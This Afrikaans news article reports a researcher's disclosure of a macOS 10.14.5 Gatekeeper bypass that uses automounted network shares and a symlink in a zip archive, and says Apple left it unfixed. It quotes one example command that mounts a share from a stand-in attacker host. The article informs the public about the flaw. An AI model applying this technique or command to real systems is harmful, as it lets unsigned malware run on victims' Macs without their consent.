Dit is maklik om 'n kwaadwillige toepassing op 'n Mac te installeer. Apple het selfs ná drie maande nie die fout reggemaak nie

Sekuriteitsnavorser Filippo Cavallarin het 'n waarskuwing oor die fout in macOS 10.14.5 op sy blog geplaas. Dit bestaan ​​uit die moontlikheid om Gatekeeper se sekuriteitsmaatreëls heeltemal te omseil. Volgens Cavallarin het hy reeds in Februarie vanjaar die fout aan Apple uitgewys, maar die maatskappy het dit nie in die jongste opdatering reggemaak nie.

Gatekeeper is deur Apple ontwikkel en vir die eerste keer in 2012 by sy rekenaarbedryfstelsel geïnkorporeer. Dit is 'n meganisme wat verhoed dat 'n toepassing sonder die gebruiker se medewete en toestemming loop. Nadat jy 'n toepassing afgelaai het, gaan Gatekeeper outomaties sy kode na om te sien of die sagteware behoorlik deur Apple onderteken is.

In sy blogpos merk Cavallarin op dat Gatekeeper by verstek beide eksterne berging en netwerkaandele as veilige liggings beskou. Enige toepassing wat in hierdie teikens woon, kan dus outomaties geloods word sonder om deur die Hekwagter-tjek te gaan. Dit is hierdie kenmerk wat uitgebuit kan word om kwaadwillige sagteware te begin sonder die gebruiker se medewete.

Een aspek wat ongemagtigde toegang toelaat, is die outomonteer-funksie, wat gebruikers toelaat om outomaties 'n netwerkaandeel te koppel deur bloot 'n pad te spesifiseer wat begin met "/net/". As 'n voorbeeld noem Cavallarin die pad "ls /net/evil-attacker.com/sharedfolder/" wat kan veroorsaak dat die bedryfstelsel die inhoud van 'n "sharefolder"-lêergids in 'n afgeleë ligging laai wat potensieel kwaadwillig kan wees.

Jy kan in die video kyk hoe die bedreiging werk:

Nog 'n faktor is die feit dat as 'n zip-argief wat 'n spesifieke simlink wat lei tot die outomount-funksie bevat, gedeel word, dit nie deur Gatekeeper nagegaan sal word nie. Op hierdie manier kan die slagoffer maklik die kwaadwillige argief aflaai en dit uitpak, sodat die aanvaller feitlik enige sagteware op die Mac kan laat loop sonder die gebruiker se medewete. Die Finder, wat sekere uitbreidings by verstek versteek, het ook sy deel van hierdie kwesbaarheid.

Cavallarin verklaar op sy blog dat Apple op 22 Februarie vanjaar die aandag gevestig het op die kwesbaarheid van die macOS-bedryfstelsel. Maar in die middel van Mei het Apple opgehou om met Cavallarin te kommunikeer, so Cavallarin het besluit om die hele ding openbaar te maak.

bron: FCVL